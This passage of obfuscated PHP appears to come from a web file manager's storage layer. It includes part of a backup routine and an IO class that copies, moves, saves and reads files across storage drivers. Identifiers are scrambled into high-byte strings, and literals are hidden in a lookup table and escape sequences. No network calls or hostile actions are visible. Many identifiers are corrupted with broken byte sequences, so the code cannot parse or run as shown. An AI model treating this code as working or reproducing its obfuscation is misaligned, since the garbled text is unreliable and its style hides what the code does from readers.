(!$this->_fileExist($ñœæ¡Øß, $ÂÙÉÜ£É, $<24><>Òðé)) { write_log("\146\151\154\145\40\x6e\157\x74\x20\145\x78\151\163\164\x2e\x66\151\x6c\x65\111\104\72{$ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][541]]}\54\x20\160\x61\164\150\72{$ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][87]]}", $_SERVER[ˆ¡¹µ‹Â][891]); continue; } $¨Ù®Öþ¹ = $ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][87]]; $Ñ–”Àèø = "\173\151\x6f\x3a{$<24>ƒÆÒöÝ[$_SERVER[ˆ¡¹µ‹Â][819]]}\x7d" . substr($¨Ù®Öþ¹, strlen("\173\151\157\72{$ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][892]]}\175")); if (IO::exist($Ñ–”Àèø)) { $ŒËùÖú§->updateFileEnd($ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][32]], $ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][79]]); } else { $Ñ–”Àèø = get_path_father($Ñ–”Àèø); IO::mkdir($Ñ–”Àèø); if (!IO::copy($¨Ù®Öþ¹, $Ñ–”Àèø, $_SERVER[ˆ¡¹µ‹Â][893])) { write_log($_SERVER[ˆ¡¹µ‹Â][894] . $¨Ù®Öþ¹ . $_SERVER[ˆ¡¹µ‹Â][878] . $Ñ–”Àèø . $_SERVER[ˆ¡¹µ‹Â][178], $_SERVER[ˆ¡¹µ‹Â][858]); $³†¹Ïº± = !1; break; } } $Û´¼¶äç = $ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][541]]; $çË·<C38B>Äù += 1; $êš§‚ü += $ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][79]]; $ÊÝ•çù¡ += 1; $ÓàÄËÞ˜ += $ñœæ¡Øß[$_SERVER[ˆ¡¹µ‹Â][79]]; if ($êš§‚ü >= 1024 * 1024 * 100) { $¼Æ‹ñ†Ö = array($_SERVER[ˆ¡¹µ‹Â][818] => $Û´¼¶äç, $_SERVER[ˆ¡¹µ‹Â][895] => $ÊÝ•çù¡, $_SERVER[ˆ¡¹µ‹Â][896] => $ÓàÄËÞ˜); Backup::set($¼Æ‹ñ†Ö); $êš§‚ü = $çË·<C38B>Äù = 0; } } $ü”<C3BC>·£ö = count($–ýÎÛ­†); $<24>§Ï†Ô++; } while ($ü”<C3BC>·£ö == $§ÂøÂò«); $ŒËùÖú§->end(); $¼Æ‹ñ†Ö = array($_SERVER[ˆ¡¹µ‹Â][897] => 1, $_SERVER[ˆ¡¹µ‹Â][828] => time(), $_SERVER[ˆ¡¹µ‹Â][842] => 1, $_SERVER[ˆ¡¹µ‹Â][818] => $Û´¼¶äç, $_SERVER[ˆ¡¹µ‹Â][898] => time()); if ($çË·<C38B>Äù) { $¼Æ‹ñ†Ö[$_SERVER[ˆ¡¹µ‹Â][895]] = $ÊÝ•çù¡; $¼Æ‹ñ†Ö[$_SERVER[ˆ¡¹µ‹Â][896]] = $ÓàÄËÞ˜; } Backup::set($¼Æ‹ñ†Ö); return !0; } private function _fileExist($òªßÏ‹, &$ó<C383>×<EFBFBD>˜, $ø‡ÊÈ·µ) { $Øêƒœˆ =& $_SERVER[ˆ¡¹µ‹Â]; $Žî›ÉÁó = $òªßÏ‹[$Øêƒœˆ[87]]; if (in_array($òªßÏ‹[$Øêƒœˆ[541]], $ó<C383>×<EFBFBD>˜)) { return !1; } if (!in_array($òªßÏ‹[$Øêƒœˆ[892]], $ø‡ÊÈ·µ)) { return !1; } if (IO::exist($Žî›ÉÁó)) { return !0; } $¡ÐɆ´ð = get_path_father($Žî›ÉÁó); if (IO::exist($¡ÐɆ´ð)) { $ó<C383>×<EFBFBD>˜[] = $òªßÏ‹[$Øêƒœˆ[541]]; return !1; } $æï›¶¨¡ = array($Øêƒœˆ[892] => $òªßÏ‹[$Øêƒœˆ[892]], $Øêƒœˆ[87] => array($Øêƒœˆ[459], "{$¡ÐɆ´ð}\45")); $Ý´öϯ§ = Model($Øêƒœˆ[864])->where($æï›¶¨¡)->field($Øêƒœˆ[542])->select(); $ó<C383>×<EFBFBD>˜ = array_merge($ó<C383>×<EFBFBD>˜, array_to_keyvalue($Ý´öϯ§, $Øêƒœˆ[12], $Øêƒœˆ[541])); return !1; } private function _fileFilter($óè±Ú€Â) { $•Žè†þÚ =& $_SERVER[ˆ¡¹µ‹Â]; return; if (empty($óè±Ú€Â)) { return; } $ÍýÜÙ¢æ = array($•Žè†þÚ[541] => array($•Žè†þÚ[7], array_unique($óè±Ú€Â))); $ö„<C3B6>¹¡š = Model($•Žè†þÚ[899])->where($ÍýÜÙ¢æ)->field($•Žè†þÚ[193])->select(); foreach ($ö„<C3B6>¹¡š as $µôìšÜ¯) { Model($•Žè†þÚ[899])->remove($µôìšÜ¯[$•Žè†þÚ[193]], !1); } } private function storeIds() { $³¯þº™ð =& $_SERVER[ˆ¡¹µ‹Â]; $¸À±Šøø = Model($³¯þº™ð[834])->listData(); $ûŠ°Ôœë = array(); $§åÈ—Ûª = $GLOBALS[$³¯þº™ð[6]][$³¯þº™ð[92]][$³¯þº™ð[900]]; foreach ($¸À±Šøø as $ä¤ðÔ„¬) { $ä<>ôÑÆÀ = strtolower($ä¤ðÔ„¬[$³¯þº™ð[98]]); if (!isset($§åÈ—Ûª[$ä<>ôÑÆÀ])) { continue; } $Þˆîõ£Ø = $³¯þº™ð[77] . (isset($§åÈ—Ûª[$ä<>ôÑÆÀ]) ? $§åÈ—Ûª[$ä<>ôÑÆÀ] : ucfirst($ä<>ôÑÆÀ)); if (!class_exists($Þˆîõ£Ø)) { continue; } $ûŠ°Ôœë[] = $ä¤ðÔ„¬[$³¯þº™ð[475]]; } return $ûŠ°Ôœë; } } goto dßšÁËÁ©ž; aôÄ<C3B4>‡Û­…: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ŠèÔ«±¦, $£í¼®±Û) { $ûðî³¾È =& $_SERVER[ˆ¡¹µ‹Â]; $î¹ç‡ÑÌ = $£í¼®±Û; $GLOBALS[$ûðî³¾È[1220]] = $ûðî³¾È[1221] . $ŠèÔ«±¦; Hook::trigger($ûðî³¾È[1221] . $ŠèÔ«±¦ . $ûðî³¾È[1222], $î¹ç‡ÑÌ); $¹<>ßÅÖº = self::driverMake($£í¼®±Û[0]); if (!$¹<>ßÅÖº) { return !1; } if (method_exists($¹<>ßÅÖº, $ŠèÔ«±¦)) { $êÅœ÷”¶ = @call_user_func_array(array($¹<>ßÅÖº, $ŠèÔ«±¦), $£í¼®±Û); } else { if (method_exists($¹<>ßÅÖº, $ûðî³¾È[1223])) { $êÅœ÷”¶ = @call_user_func_array(array($¹<>ßÅÖº, $ŠèÔ«±¦), $£í¼®±Û); } else { if (method_exists(self, $ŠèÔ«±¦)) { $êÅœ÷”¶ = @call_user_func_array(array(self, $ŠèÔ«±¦), $£í¼®±Û); } else { $êÅœ÷”¶ = call_user_func_array(array(parent, $ŠèÔ«±¦), $£í¼®±Û); } } } Hook::trigger($ûðî³¾È[1221] . $ŠèÔ«±¦ . $ûðî³¾È[1224], $î¹ç‡ÑÌ, $êÅœ÷”¶); return $êÅœ÷”¶; } public static function init($õâ£ÜÛ¼) { return self::driverMake($õâ£ÜÛ¼); } public static function copy($Ö«ø÷Ãó, $öµê––¨, $õ·¤ßÌŽ = false, $öùýí<C3BD>œ = false) { return self::copyMoveStart($Ö«ø÷Ãó, $öµê––¨, $õ·¤ßÌŽ, $_SERVER[ˆ¡¹µ‹Â][618], $öùýí<C3BD>œ); } public static function move($ŽñÐÂ¥¥, $°ºæ­ò‰, $²â¹„²È = false, $㬢éýð = false) { return self::copyMoveStart($ŽñÐÂ¥¥, $°ºæ­ò‰, $²â¹„²È, $_SERVER[ˆ¡¹µ‹Â][620], $㬢éýð); } private static function copyMoveStart($Ìã·œç‚, $²‘—¡Œæ, $Çô¯Øè‹, $䕎¹Ì°, $¥èìÐüÔ) { $<24>†·ÃÑæ =& $_SERVER[ˆ¡¹µ‹Â]; $šÜúÜøß = array($Ìã·œç‚, $²‘—¡Œæ, $Çô¯Øè‹, $¥èìÐüÔ); Hook::trigger($<24>†·ÃÑæ[1221] . $䕎¹Ì° . $<24>†·ÃÑæ[1222], $šÜúÜøß); $¸¢Ü<C2A2>è… = self::copyMove($Ìã·œç‚, $²‘—¡Œæ, $Çô¯Øè‹, $䕎¹Ì°, $¥èìÐüÔ); Hook::trigger($<24>†·ÃÑæ[1221] . $䕎¹Ì° . $<24>†·ÃÑæ[1224], $šÜúÜøß, $¸¢Ü<C2A2>è…); return $¸¢Ü<C2A2>è…; } public static function saveFile($Ʉީ˜…, $°”‹ƒÉÑ, $õ‘®ØÐ÷ = true) { $¶É»Çç<C387> =& $_SERVER[ˆ¡¹µ‹Â]; $ªŸ´†Óš = self::info($°”‹ƒÉÑ); $óïÌéü  = self::driverMake($Ʉީ˜…); $¦<>´¨<C2B4>ê = self::driverMake($°”‹ƒÉÑ); $Ì úßõß = !1; if ($¦<>´¨<C2B4>ê->pathParse[$¶É»Çç<C387>[1225]]) { $Ì úßõß = $¦<>´¨<C2B4>ê; $Å‘¾™ö³ = $¦<>´¨<C2B4>ê->pathParse[$¶É»Çç<C387>[1225]]; $¦<>´¨<C2B4>ê = self::driverMake($Å‘¾™ö³); } if ($óïÌéü ->pathParse[$¶É»Çç<C387>[1225]]) { $ôˆÅûœì = $óïÌéü ->pathParse[$¶É»Çç<C387>[1225]]; $óïÌéü  = self::driverMake($ôˆÅûœì); } $âš»×ü½ = $¦<>´¨<C2B4>ê->pathFather($°”‹ƒÉÑ); $’“쟳â = !0; if (!$õ‘®ØÐ÷ && self::driverIsSame($óïÌéü , $¦<>´¨<C2B4>ê)) { $’“쟳â = !1; } $£ ¿šÌ‡ = self::copyFile($óïÌéü , $Ʉީ˜…, $¦<>´¨<C2B4>ê, $âš»×ü½, $ªŸ´†Óš[$¶É»Çç<C387>[32]], $’“쟳â); if ($Ì úßõß) { $£ ¿šÌ‡ = $Ì úßõß->getPathOuter($£ ¿šÌ‡); } return $£ ¿šÌ‡; } private static function copyMove($«˜ºëúÅ, $É”„«Ëˆ, $Êøäð½ù, $<>Ë´ßí, $‚¼€ýÙ¸ = false) { $޳è<C2B3>Ï¥ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$«˜ºëúÅ || $«˜ºëúÅ == $޳è<C2B3>Ï¥[8] || !$É”„«Ëˆ) { return !1; } ignore_timeout(); $ލ­ÝÝØ = self::driverMake($«˜ºëúÅ); $¼ØÏâîÕ = self::driverMake($É”„«Ëˆ); $™Ç‹”Û“ = $<>Ë´ßí == $޳è<C2B3>Ï¥[620]; $›Â׀Ș = !1; if ($¼ØÏâîÕ->pathParse[$޳è<C2B3>Ï¥[1225]]) { $›Â׀Ș = $¼ØÏâîÕ; $É”„«Ëˆ = $¼ØÏâîÕ->pathParse[$޳è<C2B3>Ï¥[1225]]; $¼ØÏâîÕ = self::driverMake($É”„«Ëˆ); } if ($ލ­ÝÝØ->pathParse[$޳è<C2B3>Ï¥[1225]]) { $«˜ºëúÅ = $ލ­ÝÝØ->pathParse[$޳è<C2B3>Ï¥[1225]]; $ލ­ÝÝØ = self::driverMake($«˜ºëúÅ); } self::check($ލ­ÝÝØ, $«˜ºëúÅ, $¼ØÏâîÕ, $É”„«Ëˆ); Hook::trigger($޳è<C2B3>Ï¥[1226], $ލ­ÝÝØ, $«˜ºëúÅ, $¼ØÏâîÕ, $É”„«Ëˆ); $ÂŒ˜®©  = self::driverIsSame($ލ­ÝÝØ, $¼ØÏâîÕ); if ($ÂŒ˜®© ) { if ($<>Ë´ßí == $޳è<C2B3>Ï¥[620] && !method_exists($¼ØÏâîÕ, $޳è<C2B3>Ï¥[1227]) && trim($É”„«Ëˆ, $޳è<C2B3>Ï¥[8]) == trim($¼ØÏâîÕ->pathFather($«˜ºëúÅ), $޳è<C2B3>Ï¥[8])) { if ($ލ­ÝÝØ->pathThis($«˜ºëúÅ) != $‚¼€ýÙ¸ && !$ލ­ÝÝØ->isOsDriver()) { return $ލ­ÝÝØ->rename($«˜ºëúÅ, $‚¼€ýÙ¸); } return $¼ØÏâîÕ->getPathOuter($«˜ºëúÅ); } if (method_exists($¼ØÏâîÕ, $<>Ë´ßí)) { return $¼ØÏâîÕ->{$<>Ë´ßí}($«˜ºëúÅ, $É”„«Ëˆ, $Êøäð½ù, $‚¼€ýÙ¸); } } if ($ÂŒ˜®©  && $<>Ë´ßí == $޳è<C2B3>Ï¥[620] && $¼ØÏâîÕ->getType() == $޳è<C2B3>Ï¥[109]) { $õøûèÃñ = $¼ØÏâîÕ->movePath($«˜ºëúÅ, $É”„«Ëˆ, $‚¼€ýÙ¸); if ($õøûèÃñ) { return $õøûèÃñ; } } $<24><>íÀƒµ = $ލ­ÝÝØ->isFile($«˜ºëúÅ); if (!$<24><>íÀƒµ && $¼ØÏâîÕ->getType() == $޳è<C2B3>Ï¥[824] && $ލ­ÝÝØ->getType() == $޳è<C2B3>Ï¥[109]) { $õøûèÃñ = $¼ØÏâîÕ->copyFolderFromIO($ލ­ÝÝØ, $«˜ºëúÅ, $É”„«Ëˆ, $Êøäð½ù, $™Ç‹”Û“, $‚¼€ýÙ¸); } else { $õøûèÃñ = self::copyPath($ލ­ÝÝØ, $«˜ºëúÅ, $¼ØÏâîÕ, $É”„«Ëˆ, $Êøäð½ù, $™Ç‹”Û“, $<24><>íÀƒµ, $‚¼€ýÙ¸); } if ($õøûèÃñ && $™Ç‹”Û“) { $ލ­ÝÝØ->remove($«˜ºëúÅ); } if ($›Â׀Ș) { $õøûèÃñ = $›Â׀Ș->getPathOuter($õøûèÃñ); } return $õøûèÃñ; } private static function check($ˆ¾Ä¶ªÞ, $€žÝ¥¤ˆ, $ÂâÅâ¯Ô, &$ãÀ€÷“¢) { $–òªšÁð =& $_SERVER[ˆ¡¹µ‹Â]; if (self::driverIsSame($ˆ¾Ä¶ªÞ, $ÂâÅâ¯Ô) && $ˆ¾Ä¶ªÞ->isFolder($€žÝ¥¤ˆ) && $ˆ¾Ä¶ªÞ->isParentOf($€žÝ¥¤ˆ, $ãÀ€÷“¢)) { show_json(LNG($–òªšÁð[1228]), !1); } if (!$ˆ¾Ä¶ªÞ->exist($€žÝ¥¤ˆ)) { show_json(LNG($–òªšÁð[108]), !1); } } private static function copyPath($Ÿó¹ì¥…, $”ë¢ä¢·, $ýîÑ<C3AE>Þ¿, $ƒÈ¤¢º¤, $‹¿­¨ïâ, $¬<>¶¨“”, $·ì“¬ºÊ, $—¬¥õ¨˜ = false, $˜°èî™Ý = true) { $ç¸ø£å° =& $_SERVER[ˆ¡¹µ‹Â]; $›òÚ•›® = empty($—¬¥õ¨˜) && $—¬¥õ¨˜ !== $ç¸ø£å°[228] ? $Ÿó¹ì¥…->pathThis($”ë¢ä¢·) : $—¬¥õ¨˜; if ($‹¿­¨ïâ) { $„æÔ媀 = $ýîÑ<C3AE>Þ¿->fileNameExist($ƒÈ¤¢º¤, $›òÚ•›®); $íð÷§Áœ = $›òÚ•›®; $›òÚ•›® = $ýîÑ<C3AE>Þ¿->fileNameAuto($ƒÈ¤¢º¤, $›òÚ•›®, $‹¿­¨ïâ, !$·ì“¬ºÊ); if (!$„æÔ媀 || $íð÷§Áœ != $›òÚ•›®) { $‹¿­¨ïâ = !1; } if ($˜°èî™Ý && !$‹¿­¨ïâ) { $ýîÑ<C3AE>Þ¿->_data[$ç¸ø£å°[1229]] = !0; } } if ($·ì“¬ºÊ) { return self::copyFile($Ÿó¹ì¥…, $”ë¢ä¢·, $ýîÑ<C3AE>Þ¿, $ƒÈ¤¢º¤, $›òÚ•›®, $¬<>¶¨“”); } if ($‹¿­¨ïâ == REPEAT_RENAME_FOLDER) { $‹¿­¨ïâ = !1; } $‡<>ÚÈž = rtrim($ƒÈ¤¢º¤, $ç¸ø£å°[8]) . $ç¸ø£å°[8] . $›òÚ•›®; $¥ÏÓÇõ¯ = $ýîÑ<C3AE>Þ¿->mkdir($ýîÑ<C3AE>Þ¿->getPath($‡<>ÚÈž), $‹¿­¨ïâ); $ƒÈ¤¢º¤ = $ýîÑ<C3AE>Þ¿->getPathInner($¥ÏÓÇõ¯); $Ý™ÈÁŸ’ = $Ÿó¹ì¥…->listPath($”ë¢ä¢·, !0); $Ý™ÈÁŸ’ = is_array($Ý™ÈÁŸ’) ? $Ý™ÈÁŸ’ : array($ç¸ø£å°[86] => array(), $ç¸ø£å°[85] => array()); $©²àéûÕ = array_merge($Ý™ÈÁŸ’[$ç¸ø£å°[86]], $Ý™ÈÁŸ’[$ç¸ø£å°[85]]); foreach ($©²àéûÕ as $“è†÷þ÷) { $êþåÆÃí = $“è†÷þ÷[$ç¸ø£å°[33]] == $ç¸ø£å°[230]; $”ë¢ä¢· = $Ÿó¹ì¥…->getPathInner($“è†÷þ÷[$ç¸ø£å°[87]]); $øÛ¢Œ<C2A2> = self::copyPath($Ÿó¹ì¥…, $”ë¢ä¢·, $ýîÑ<C3AE>Þ¿, $ƒÈ¤¢º¤, $‹¿­¨ïâ, $¬<>¶¨“”, $êþåÆÃí, !1, !1); if (!$øÛ¢Œ<C2A2>) { IO::errorTips($ç¸ø£å°[1230] . $”ë¢ä¢· . $ç¸ø£å°[73] . $ƒÈ¤¢º¤); } } self::copyMoveKeepInfo($Ÿó¹ì¥…, $”ë¢ä¢·, $¥ÏÓÇõ¯); return $¥ÏÓÇõ¯; } private static function copyFile($éñ ôÇê, $<>¦Þö„, $Ä×㔌Ú, $ãÙ›¡¹Ø, $•³—¸Èå, $„™þ¤éƒ) { $Ý ñ·ÝÒ =& $_SERVER[ˆ¡¹µ‹Â]; $ãÙ›¡¹Ø = $Ä×㔌Ú->getPath(rtrim($ãÙ›¡¹Ø, $Ý ñ·ÝÒ[8]) . $Ý ñ·ÝÒ[8] . $•³—¸Èå); $ƒ¡±õÄÍ = $Ý ñ·ÝÒ[1231] . time() . rand_string(5); Hook::trigger($Ý ñ·ÝÒ[1232], $éñ ôÇê, $<>¦Þö„, $Ä×㔌Ú, $ãÙ›¡¹Ø, $•³—¸Èå, $ƒ¡±õÄÍ); if (self::driverIsSame($éñ ôÇê, $Ä×㔌Ú)) { if ($„™þ¤éƒ) { $µþ¨¬Èû = $Ä×㔌Ú->moveFile($<>¦Þö„, $ãÙ›¡¹Ø); } else { $µþ¨¬Èû = $Ä×㔌Ú->copyFile($<>¦Þö„, $ãÙ›¡¹Ø); } Hook::trigger($Ý ñ·ÝÒ[1233], $éñ ôÇê, $<>¦Þö„, $Ä×㔌Ú, $ãÙ›¡¹Ø, $•³—¸Èå, $µþ¨¬Èû); self::copyMoveKeepInfo($éñ ôÇê, $<>¦Þö„, $µþ¨¬Èû); return $µþ¨¬Èû; } $çíÉÌžÌ = TEMP_FILES; if ($GLOBALS[$Ý ñ·ÝÒ[6]][$Ý ñ·ÝÒ[92]][$Ý ñ·ÝÒ[871]]) { $çíÉÌžÌ = $GLOBALS[$Ý ñ·ÝÒ[6]][$Ý ñ·ÝÒ[92]][$Ý ñ·ÝÒ[871]]; } $¡®ï¬Šâ = $çíÉÌžÌ; mk_dir($¡®ï¬Šâ); $ÎÚ¤ŸÔ<C5B8> = $¡®ï¬Šâ . $ƒ¡±õÄÍ; $ӫ̓õõ = $ÎÚ¤ŸÔ<C5B8>; $ÎÚ¤ŸÔ<C5B8> = $éñ ôÇê->download($<>¦Þö„, $ÎÚ¤ŸÔ<C5B8>); $ÎÚ¤ŸÔ<C5B8> = $éñ ôÇê->iconvApp($ÎÚ¤ŸÔ<C5B8>); if (substr($ÎÚ¤ŸÔ<C5B8>, strlen($çíÉÌžÌ)) == $çíÉÌžÌ) { $„™þ¤éƒ = !0; } $µþ¨¬Èû = $Ä×㔌Ú->upload($ãÙ›¡¹Ø, $ÎÚ¤ŸÔ<C5B8>, $„™þ¤éƒ); self::remove($ӫ̓õõ); Hook::trigger($Ý ñ·ÝÒ[1233], $éñ ôÇê, $<>¦Þö„, $Ä×㔌Ú, $ãÙ›¡¹Ø, $•³—¸Èå, $µþ¨¬Èû); self::copyMoveKeepInfo($éñ ôÇê, $<>¦Þö„, $µþ¨¬Èû); return $µþ¨¬Èû; } private static function copyMoveKeepInfo($ÀÔì¤ÚÝ, $ÅŠøÍýÂ, $Ò¤Æßƒº) { if (!$Ò¤Æßƒº) { return; } $¨ãÃÓ‰ = $ÀÔì¤ÚÝ->info($ÅŠøÍýÂ); if (!is_array($¨ãÃÓ‰)) { return; } IO::setModifyTime($Ò¤Æßƒº, $¨ãÃÓ‰[$_SERVER[ˆ¡¹µ‹Â][88]]); } public static function pathFather($»îì¦ÝÓ) { $Œ¯¾àÛ<C3A0> = IO::init($»îì¦ÝÓ); $´ä³´ëÜ = $Œ¯¾àÛ<C3A0>->pathFather($Œ¯¾àÛ<C3A0>->path); return $Œ¯¾àÛ<C3A0>->getPathOuter($´ä³´ëÜ); } public static function fileOut($Äñƒ®ô±, $¼œ<C2BC>ͺ<C38D> = false, $€Ç“€ôÛ = false, $ó‡Ûý–Õ = '') { $¯ß<C2AF>øÎÔ = self::driverMake($Äñƒ®ô±); if ($¯ß<C2AF>øÎÔ->isFileOutServer()) { return $¯ß<C2AF>øÎÔ->fileOutServer($Äñƒ®ô±, $¼œ<C2BC>ͺ<C38D>, $€Ç“€ôÛ, $ó‡Ûý–Õ); } return $¯ß<C2AF>øÎÔ->fileOut($Äñƒ®ô±, $¼œ<C2BC>ͺ<C38D>, $€Ç“€ôÛ, $ó‡Ûý–Õ); } public static function fileOutImage($•<>—¿…<C2BF>, $Øù꬧ž = 250) { $ÀûÓ—Æô = array(250, 600, 1200, 2000, 3000, 5000); for ($ÈùÚ­¬… = 0; $ÈùÚ­¬… < count($ÀûÓ—Æô); $ÈùÚ­¬…++) { if ($ÈùÚ­¬… == 0 && $Øù꬧ž <= $ÀûÓ—Æô[$ÈùÚ­¬…]) { $Øù꬧ž = $ÀûÓ—Æô[$ÈùÚ­¬…]; break; } else { if ($Øù꬧ž > $ÀûÓ—Æô[$ÈùÚ­¬… - 1] && $Øù꬧ž <= $ÀûÓ—Æô[$ÈùÚ­¬…]) { $Øù꬧ž = $ÀûÓ—Æô[$ÈùÚ­¬…]; break; } else { if ($ÈùÚ­¬… == count($ÀûÓ—Æô) - 1 && $Øù꬧ž > $ÀûÓ—Æô[$ÈùÚ­¬…]) { $Øù꬧ž = $ÀûÓ—Æô[$ÈùÚ­¬…]; break; } } } } $Òšâ¡Úž = self::driverMake($•<>—¿…<C2BF>); if ($Òšâ¡Úž->isFileOutServer()) { return $Òšâ¡Úž->fileOutImageServer($•<>—¿…<C2BF>, $Øù꬧ž); } return $Òšâ¡Úž->fileOutImage($•<>—¿…<C2BF>, $Øù꬧ž); } private static function driverIsSame($Û¥¦º¡¶, $íö›ßøî) { $Ï<>šÂñï =& $_SERVER[ˆ¡¹µ‹Â]; $ï¾ã©•í = $Û¥¦º¡¶->getType(); $íùÙ™¸¨ = $íö›ßøî->getType(); if ($ï¾ã©•í != $íùÙ™¸¨) { return !1; } if ($ï¾ã©•í == $Ï<>šÂñï[824]) { return !0; } if ($ï¾ã©•í == $Ï<>šÂñï[109]) { return !0; } if ($Û¥¦º¡¶->pathDriver == $íö›ßøî->pathDriver) { return !0; } return !1; } public static function copyUpdate($Ó¨‚Ÿµò, $âø°Œ¥š) { $ѵó<C2B5>¯ =& $_SERVER[ˆ¡¹µ‹Â]; if (!IO::exist($Ó¨‚Ÿµò)) { return !1; } if (!IO::exist($âø°Œ¥š)) { IO::mkdir($âø°Œ¥š); } $¢Ð˜Îز = array_to_keyvalue(self::listAllSimple($Ó¨‚Ÿµò), $ѵó<C2B5>¯[87]); $œ×ù╽ = array_to_keyvalue(self::listAllSimple($âø°Œ¥š), $ѵó<C2B5>¯[87]); $<>Ò·<C392>³ = array(); $¬Ò¹Ø®ê = array(); foreach ($¢Ð˜Îز as $þåÛˆðœ => $ìÛС„Ö) { if (isset($œ×ù╽[$þåÛˆðœ])) { if ($ìÛС„Ö[$ѵó<C2B5>¯[78]] == 1) { continue; } if ($œ×ù╽[$þåÛˆðœ][$ѵó<C2B5>¯[79]] == $ìÛС„Ö[$ѵó<C2B5>¯[79]]) { continue; } } if ($ìÛС„Ö[$ѵó<C2B5>¯[78]] == 1) { $¬Ò¹Ø®ê[] = $âø°Œ¥š . $ѵó<C2B5>¯[8] . trim($þåÛˆðœ, $ѵó<C2B5>¯[8]); continue; } $¿ò¡‚ì÷ = strstr(trim($þåÛˆðœ, $ѵó<C2B5>¯[8]), $ѵó<C2B5>¯[8]) ? get_path_father($þåÛˆðœ) : $ѵó<C2B5>¯[12]; $<>Ò·<C392>³[] = array($ѵó<C2B5>¯[1234] => $ìÛС„Ö[$ѵó<C2B5>¯[89]], $ѵó<C2B5>¯[1235] => rtrim($âø°Œ¥š, $ѵó<C2B5>¯[8]) . $ѵó<C2B5>¯[8] . $¿ò¡‚ì÷, $ѵó<C2B5>¯[1236] => $ìÛС„Ö); } $¶²Œ˜Šó = array($ѵó<C2B5>¯[230] => $<>Ò·<C392>³, $ѵó<C2B5>¯[78] => $¬Ò¹Ø®ê); Hook::trigger($ѵó<C2B5>¯[1237], $Ó¨‚Ÿµò, $âø°Œ¥š, $¶²Œ˜Šó); foreach ($¬Ò¹Ø®ê as $ìÛС„Ö) { IO::mkdir($ìÛС„Ö); } foreach ($<>Ò·<C392>³ as $ìÛС„Ö) { IO::copy($ìÛС„Ö[$ѵó<C2B5>¯[1234]], $ìÛС„Ö[$ѵó<C2B5>¯[1235]], REPEAT_REPLACE); } } public static function fileSubstr($ŹÊÒÙ , $¹Ä”µ<E2809D>Æ, $­íºþô… = false) { $ë®€Ë¯Û =& $_SERVER[ˆ¡¹µ‹Â]; $Žðé‹¡Ï = self::driverMake($ŹÊÒÙ ); $«ê”»‹ø = $Žðé‹¡Ï->size($ŹÊÒÙ ); $ðÌ—öêœ = $¹Ä”µ<E2809D>Æ; $êž¯Ž… = $­íºþô…; if ($¹Ä”µ<E2809D>Æ < 0) { $¹Ä”µ<E2809D>Æ = $«ê”»‹ø + $¹Ä”µ<E2809D>Æ; } if ($­íºþô… === !1) { $­íºþô… = $«ê”»‹ø - $¹Ä”µ<E2809D>Æ; } if ($¹Ä”µ<E2809D>Æ + $­íºþô… > $«ê”»‹ø) { $­íºþô… = $«ê”»‹ø - $¹Ä”µ<E2809D>Æ; } if (!$«ê”»‹ø && $Žðé‹¡Ï->getType() == $뮀˯Û[109] && !$Žðé‹¡Ï->exist($ŹÊÒÙ )) { $ú­Ûܽ– = get_path_this($ŹÊÒÙ ); $ÀÒÔ’   = parse_url_query($ú­Ûܽ–); if (is_array($ÀÒÔ’  ) && isset($ÀÒÔ’  [$뮀˯Û[32]])) { $ú­Ûܽ– = urldecode($ÀÒÔ’  [$뮀˯Û[32]]); } throw new Exception($뮀˯Û[1238] . LNG($뮀˯Û[1239]) . $뮀˯Û[1037] . clear_html($ú­Ûܽ–) . $뮀˯Û[12]); } if ($­íºþô… <= 0) { return $뮀˯Û[12]; } if ($¹Ä”µ<E2809D>Æ < 0 || $¹Ä”µ<E2809D>Æ >= $«ê”»‹ø || $­íºþô… > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\x65\x52\x65\141\x64\40\x65\x72\x72\157\x72\41\x20\163\x74\x61\162\x74\75{$¹Ä”µ<E2809D>Æ}\x3b\x6c\145\x6e\x67\164\x68\x3d{$­íºþô…}\73\x20\x73\x69\172\x65\75{$«ê”»‹ø}\x3b"); } $é胒ҋ = $Žðé‹¡Ï->fileSubstr($ŹÊÒÙ , $¹Ä”µ<E2809D>Æ, $­íºþô…); if (!$é胒ҋ && $­íºþô… && isset($GLOBALS[$뮀˯Û[1240]])) { throw new Exception($GLOBALS[$뮀˯Û[1240]][$뮀˯Û[1241]]); } return $é胒ҋ; } private static function driverMake(&$¤“Ï<E2809C>ìÅ) { $—òìü˜– =& $_SERVER[ˆ¡¹µ‹Â]; $ʰ¢<C2B0> = KodIO::parse($¤“Ï<E2809C>ìÅ); if (!self::$driverListSystem) { $ÑÔ¼¼Åø = Model($—òìü˜–[834])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($ÑÔ¼¼Åø, $—òìü˜–[475]); } if ($ʰ¢<C2B0>[$—òìü˜–[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ʰ¢<C2B0>[$—òìü˜–[475]]]) { throw new Exception($—òìü˜–[1242]); return !1; } $¤“Ï<E2809C>ìÅ = $ʰ¢<C2B0>[$—òìü˜–[1243]]; $ɳ⤼½ = self::driverGet($ʰ¢<C2B0>, $¤“Ï<E2809C>ìÅ); return $ɳ⤼½; } private static function driverGet($éƒÐ´ˆó, &$äöáˆ<C3A1>¾) { $¨ÕÛ€<C39B>ó =& $_SERVER[ˆ¡¹µ‹Â]; $ÊéÑ¡¨„ = $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1244]]; $Í°ÝÆëÄ = $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[475]]; switch ($éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[33]]) { case KodIO::KOD_IO: $ž†½¯âÉ = self::$driverListSystem[$Í°ÝÆëÄ]; break; case KodIO::KOD_SOURCE: $äöáˆ<C3A1>¾ = $Í°ÝÆëÄ . $äöáˆ<C3A1>¾; $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1246], $¨ÕÛ€<C39B>ó[6] => $éƒÐ´ˆó); break; case KodIO::KOD_USER_DRIVER: if 